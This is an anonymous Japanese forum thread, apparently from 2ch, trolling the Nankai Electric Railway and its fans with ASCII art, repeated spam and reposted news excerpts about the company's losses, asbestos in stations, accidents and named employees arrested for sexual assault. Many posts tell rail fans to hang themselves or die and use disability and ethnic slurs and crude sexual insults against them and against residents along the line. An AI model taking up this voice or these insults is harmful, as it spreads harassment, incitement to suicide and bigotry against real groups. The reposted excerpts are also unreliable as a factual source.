.|l:.:.l/ィ示ヽﾐ!.ﾒ|〉ヽ!:|_!:.|:i.:Ｎ:.|:.:.l!:l､.:.:l､:l｀ヽ::ﾉ_,'ﾘ|i|.,.ｨl､.|::!||:.ﾒ:ﾘ､:.l!.Ｎ､:い!.!く:::ｿ}|:.:|/:/!:i､.i!ﾘヽ!,｀~/|:ﾉ:/:.i|:iN`.:ノ/:!ﾚ/′:､l:|ﾊ､＿___/::i/'′小|ヽ｀''ｰ‐`''／|/l
:.:ﾄヽ＼／r‐-､r‐-､r‐-､r‐-､Ｎ|｀ヽヽ､,'´┌───────┤||||||_..._|‐───────┐｀`'''‐-..,_iT"´|ｰ──────‐|_...._||||_...._|ヽ_,ﾉ.───────|､_｀`''‐N､|.ヽ_,.ﾉ|.-‐.|ヽ_,ﾉ|｀ヽ､
i|─────────.`ー'ー‐─────────‐|､｀ヽ、||赤字南海|､｀ヽ、＼||──────────‐：.──────────‐|＼＼ヽ.|ヽ|：|ヽヽ|＼|──────────‐：.──────────‐南海
沿線自体やばいb地区へは南海で

南海age

南海はボロい>434逆に南端はジャンボぐらいまで南下してくれると便利だな、羽衣の改札中央に改札いらんね北端と南端でええや勝ち組阪急負け組南海>451すまん、地元民だけわかるローカル有名施設や>456>457東羽衣側に
ある地元食品スーパー>461１５分サイクルなら極力逃げ切りダイヤにしてほしいですな長時間停車の緩急意味ね〜じゃんなんかいはあかじですよ！なんかいはあかじでｐｉｔａｐａつかえるかいさつきすくなすぎやめてまえ
！┏━━━━━━━━━━┓┃げんじつがあらわれた..┃┗━━━━━━━━━━┛┏━━━━━┓┃赤.字南海ヲタ┃┏━━━━━┓┠─────┨┃たたかう....┃┃HP１６┃┃|>にげる......┃┃MP.１┃┃どうぐ....
.┃┗━━━━━┛┗━━━━━┛┏━━━━━━━━┓┃にげられない！.┃┗━━━━━━━━┛＿＿＿(^o^)赤字南海ヲタの人生ｵﾜﾀ〔ﾉ二二,＿＿_＿＿,二二ヽ〕|:::::::::::::::::::::::::::ヽ゜゜/:::::::::::::::::
:::::::::/〉::::::::::::::::::::::〉・〈::::::::::::::::::::::〈|:::::::::::::::::::::::::／(u)ヽ::::::::::::::::::::::/〔:::::::::::::::::::::/ノ~ヽヽ::::::::::::::::::|ヽ:::::::::::::::::/／::::::::
::::＼):::::::::::::::::::ゝﾉ:::::::::::::::::::||_〜─〜-||〜〜〜/(＿)(＿)なんかいはあかじですよ！関空快速にすら負けるラピート・・・南海もうだめぽ

うわっ！南海って車両ボロイな！

一度経営破たんした水間ですら両開きドア車なのに、そんな会社にも劣る片開き扉車を使い続ける経営の苦しい南海w

今日1051できばったスキリした(^ーﾟ)b車内でav撮影てしてるんかな？南海に先はもう無いわけだが南海に線路てないわけだが↓社会のゴミ屑南海ヲタはさっさと死んでくれませんか？過去南海ヲタのせいでどれだけのまと
もな餓鬼が嫌な思いをしたか罪を背負って自殺しろ結局南海ヲタは、キチガイって事だぜ。南海ヲタはキモオタ障害者南海ヲタは早く首吊って氏ねしねはやくしねしんでしねよ俺の隣おったくそ高校生消えろしねさっさとし
ねテメーなんかいらねーよ社会のゴミしねころそ雑魚しね

南海ヲタは中卒DQN

南海age

何が接続できないだ死ねしね雑魚>599今日のＮＨＫの特集で一時的なもの、45％は延びないとダメと否定的なコメントしてたなさすが南海を親会社に持つ会社だ仲間「おっ!藻小道くん電車変えた？ひょっとしてダイヤ改正
？」藻小道「はい。家族はまだなんすけど、僕だけJRに」仲間「恐るべしダイヤ改正。これはもはや社会現象ね」藻小道「もちろん、SMARTICOCAです」仲間「なかなかよく勉強してるじゃない!」藻小道「はい。新人ですか
ら!」CUSTOMERＳＡＴＩＳＦＡＣＴＩＯＮ．お客様俊足主義で逝こう。南海沿線の住民って、社会の競争で負けた下等人間ばっかんでもって、このスレに群がる奴も下等人間とそいつらの生み出した出来損ないばっかやな連
結部でたばこ吸っていいの？>642連結部はトイレです。女の人がしゃがんでいる可能性があるので、ノックしてから空けてあげてください。>637だって南海沿線はこの好景気でも不況だから暇人が多すぎなんだもん。特にこ
のスレの住人はニートばかりでちんこの使い道が自家発電しかないもん。>647大阪南部って、大阪への通勤が便利にもかかわらず発展していないね。まだ田畑が残っていて、田舎の奈良県と大して変わらない。だから、南海
ピンチ！なわけだが・・・。┏━┳━┳━┓┃┃┃┃┗━┻━┻━┛ヘ○ﾍヘ○ﾍ|∧|∧//┏━━━━━━━━━━━━━━━┓┃乞食南海ヲタがあらわれた！.┃┃▼.┃┗━━━━━━━━━━━━━━━┛┏━┳━┳━┓
┃┃┃┃┗━┻━┻━┛ヘ○ﾍヘ○ﾍ|∧|∧//┏━━━━━━━━━━━━━━━┓┃乞食南海ヲタは阪急を叩いた！.┃┃珍作に５０ダメージ！..┃┗━━━━━━━━━━━━━━━┛┏━┳━┳━┓┃┃┃┃┗━┻━┻
━┛ヘ○ﾍヘ○ﾍ|∧|∧//┏━━━━━━━━━━━━━━━━┓┃乞食南海ヲタはまた阪急を叩いた！！┃┃.┃┃珍作はヒラリと身をかわした！┃┗━━━━━━━━━━━━━━━━┛┏━┳━┳━┓┃┃┃┃┗━┻━
┻━┛ヘ○ﾍヘ○ﾍ|∧|∧//┏━━━━━━━━━━━━━━━━━┓┃珍作の攻撃！.┃┃珍作は呪文を唱えた！┃┃南＿海＿は＿ぼ＿ろ＿い＿！┃┃赤字運賃高い汚い小便臭い田舎臭い┃┃乞食南海ヲタａに６６２ダメー
ジ！┃┃乞食南海ヲタｂ５４０にダメージ！┃┃乞食南海ヲタはぜんめつした┃┗━━━━━━━━━━━━━━━━━┛

大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場で
きない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未
だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南
海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場
できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で
未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字
南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上
場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄
で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤

字南海大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海現在の南海の経営状況があまりにもひどすぎるので、せめて現実逃避しようと千代田に行ってシコシコとオナニーする、
情けない南海ヲタ大阪がヤクザと暴力団とチンピラの街だという印象が強いのは、すべて南海沿線のせい南海沿線は昔からＤＱＮが多いし治安も悪い未だにオンボロの片開き扉車が主力の情けない南海（藁>852>853ここは本
スレじゃないんだから荒らすにしてもsageてくれ。本スレはこっちttp://hobby7.2ch.net/test/read.cgi/rail/1160669897/

◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘され
ていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によ
ると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税
の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://ne
ws.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少
している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html次スレttp://hobby7
.2ch.net/test/read.cgi/rail/1160669897南海電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつ
けた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅
では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明

らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということで
す。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取
っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★
★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字
05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）
△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.O
S&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通1
10億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,0
9099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業

活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−
神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和
歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（2
3）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせ
つ◆◇◆◇◆兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕した。調
べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と
容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレ
に連れ込んだという。（共同通信）-7月25日18時39分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000131-kyodo-soci◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10
月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源

を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏
切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は
「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html◆ ◆ ◆ 「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆
◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみで
ホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)
。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面１１月２９日の社会面ニュース）４少年が電車・駅で女子
高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとし
て、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表し
た。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に

居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わ
いせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客
は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html南海電鉄、堺に１４８メートルのマンション
計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約
一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を
開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定し
ている。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画
を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地
元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（

独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には
、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/e
vening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンシ
ョンで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て
、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。そ
れがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・
田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞■「世界遺産登録に“超高層”
の影」しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです
。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートル

の建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml
◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、
南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、
体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバ
ーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４
０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を
提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然とし

て厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同
社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた
状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円
と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わら
ず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、
主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかっ
たようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです
」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒
字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春

以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海
ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣
￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだ
からね！」南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に
道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰り
たかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海w住
んでみたい街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/ しょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しない
ということが改めて証明された（ﾌﾟｹﾞﾗ

>42チミねえ・・・朝日や日経の新聞記事ならともかくもともと阪急沿線しか扱わないネットサイト指して何ぐちゃぐちゃ言ってんや？チミ？幼稚園児？ しかしここの南海批判の厨房も随分粘質だよなあ同じハナシを何度も
何度も（ｗ

未だにオンボロ片開き扉車が主力の情けない鉄道会社はドコ？大手私鉄で東証一部に上場してない情けない鉄道会社はドコ？

南海age

都市ガス・水道・下水道の基本３インフラがまともに揃わない、山の中を走る能勢電沿線にすら劣った南海沿線w南海沿線どころか南海の各駅でも、ボットン便所が今でも当たり前これじゃあ、南海沿線には社会の負け組の
蛆虫しか住まないよなw未だにオンボロ片開き扉車が主力の情けない鉄道会社はドコ？ 大手私鉄で東証一部に上場してない情けない鉄道会社はドコ？南海厨は頭おかしいのになに言っても無駄っしょ頭おかしい南海厨は鎖に
つないでネットにアクセスできなくするべきだよなヲチして即座に反応してるし南海厨はガチ池沼でしょ自分の考えが正しくて、他を全く受け入れない受け入れないだけでなく他を貶すという極めて排他的なところは南海厨
はオカシイかもな南海厨はｷﾓｦﾀってより精神疾患>49なんでも1000系は今年度分から近車で製造が行われるらしいからな。来年の3月までに姿を現す予定。£＿＿／￣＼〜＆|:::|~|::::||南::::::||::::::||海:::::||:::::::
||:::::::||:::::::::||∬∬:::|ﾁｰｰﾝ､､､|ii,,≦≧､:ii:::::|_|旦‖===‖旦::::::|_-W-----┘二二二二二二二二二└--ff---\--／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣,＿＿|南海がもう二度と倒産しませんように・・ﾅﾑﾅﾑ／.
／＼＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿／.／(・).＼o〇ヾ!;;;::iii|//"／_____／.（´ｰ｀）,＼∧∧|;;;;::iii|/ﾞ￣||||||||.|っ¢..||￣（,,）ﾅﾓﾅﾓ|;;;;::iii|||||||||./,,,|ゝiii~⊂ヾｗｗｗｊｊｒｊｗw!;;;;::iii|ｊ
ｗｊｊｒｊｗw〃|￣￣￣|~~凸（￣）凸（,,）〜ｗｊｗｊｊｒｊ从ｊｗｗｊｗｊｊｒｊ从ｊｒ南海ヲタの特徴・部屋は汚い・ベットの下が汚い・基本的にやる気は無い・でも一旦火がつくとスゴイ・でもやる気が無くなった
らどんなに中途半端でも(ﾟ�听)ﾔﾒﾀ・変なトコに異常なこだわりを持つ・洗濯物はタンスに入れず、朝起きたらその中からチョイス・家に帰ると即効着ているものを脱ぐ・興味があったものが急に有名になると一揆に冷めて
しまう・しかも地味orささいな・ギリギリまでやらない・昔の自分を思い出してあああああああとなる・今日怒っていたことも寝ると忘れる・忘れついでに大事なことも忘れる・同属嫌悪に陥る・笑いには敏感な方・口癖は

「眠い」・財布の中身はお札よりレシートの方が多い・スケジュールは書くが見ない南海厨は精神異常なんだからはやく規制して病院にでも入れて欲しい南海厨の日常AM6時就寝PM12時起床荒らし開始PM13時〜AM6時＋2ch＋
オナニー＋ママに作ってもらった飯｀ｰ､/ｨ´/!ﾄ､ヽヽ∧/_ィｽ::.ヽ/∧ﾄ､!ヽ ､__l!∨!/、,ｨ'_´,.ィ´ヽ:::.ヽ//,.乂=くヽヽ￣7ヽl!ll∧{:.ヾ､-､／＿_,.ノ〉r､_ｌ::::::!/′ヽ｀ｰ-｀ヽヽ/j∧l!li∧:::..::::〉'`＿_￣´｀ｰ
l::::!j,,=＝ﾐ､,z＝ミ、l|//|/∧::::|.::::/-r'てハ｀,z=､!/∧″,ﾞjｨ∧ll.///＞!:::l´!:っ'ｿlし!|,ｲﾍ|///,.‐-ｧ///ﾚｲ!ｲ//,','!ﾍヽ{´￣､ﾋﾘﾚﾊ|!l／-‐￣二ﾆヽ/_ノ川南海ボロっ！・・・・・・. /ヽ'ｰ///′//!ﾉ|/lヽ､/-
―＝くｲll∧!/｀Tヽ＿,〜-‐ｧ／ﾚ'/-‐,‐´ｌ,ｲ/.:::／ヽ、｀ｰ‐'´／r'‐､,.-‐'´「/ﾊ/ﾚ/高校生のガキうざい氏ね朝から社内で体操してる雑魚氏ね南海れいきゅうしゃー南海れいきゅうしゃー便所の水洗化が遅れている南
海沿線の住民って、みんなボットン便所から湧き出した「うじ虫」なんだろ？（藁未だにオンボロ片開き扉車が主力の情けない大手私鉄は？東証一部に上場してない情けない大手私鉄は？（´・ω・）ｶﾜｲｿｽO┬O)ｷｷｰｯ！◎┴
し'-◎≡_,,..,,,,_./,'3`ヽｰっ←赤字南海ヲタl⊃⌒_つ`'ｰ---‐'''''"()(＿<ъ、,,0宀0~ﾞ、｀:._,,..,,,,_..,,:''',,:'ii.,-=;=:=.=/=,';$=＃;:;＃っ;;::-'´,'´/´-;==:=.l=:=⊃#,:'＃''_つ;;::-'~i/´`'ｰ-〃｀〃".;ヾ
ノ'',:''ヾ｀"~""''"／｀-==;=.=;=:.='´♪♪南海電鉄腐った電鉄南海電鉄最低の電鉄なんでもかんでも脱○○覆さぁー南海ヲタクきたねぇヲタク南海ヲタク在日の手先なんでもかんでも脱○○覆さぁー南海ヲタクバカの連
